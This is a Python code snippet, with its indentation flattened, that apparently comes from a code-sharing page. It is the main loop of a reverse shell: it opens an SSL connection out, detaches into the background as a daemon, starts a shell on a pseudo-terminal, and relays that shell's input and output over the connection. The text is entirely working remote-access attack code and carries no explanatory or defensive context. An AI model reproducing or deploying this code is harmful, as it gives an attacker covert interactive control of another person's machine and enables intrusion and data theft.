def main():
s = establish_connection()
if s is None:
return -1
print success("Connection established!")
daemonize()
master, slave = pty.openpty()
bash = subprocess.Popen(SHELL,
preexec_fn=os.setsid,
stdin=slave,
stdout=slave,
stderr=slave,
universal_newlines=True)
time.sleep(1) # Wait for bash to start before sending data to it.
os.write(master, "%s\n" % FIRST_COMMAND)
try:
while bash.poll() is None:
r, w, e = select.select([s, master], [], [])
# SSLSockets don't play nice with select because they buffer data internally.
# Code taken from https://stackoverflow.com/questions/3187565/select-and-ssl-in-python.
if s in r:
try:
data = s.recv(1024)
except ssl.SSLError as e:
if e.errno == ssl.SSL_ERROR_WANT_READ:
continue
raise
if not data: # End of file.
break
data_left = s.pending()
while data_left:
data += s.recv(data_left)
data_left = s.pending()
os.write(master, data)
elif master in r:
s.write(os.read(master, 2048))
finally:
s.close()
评论列表
文章目录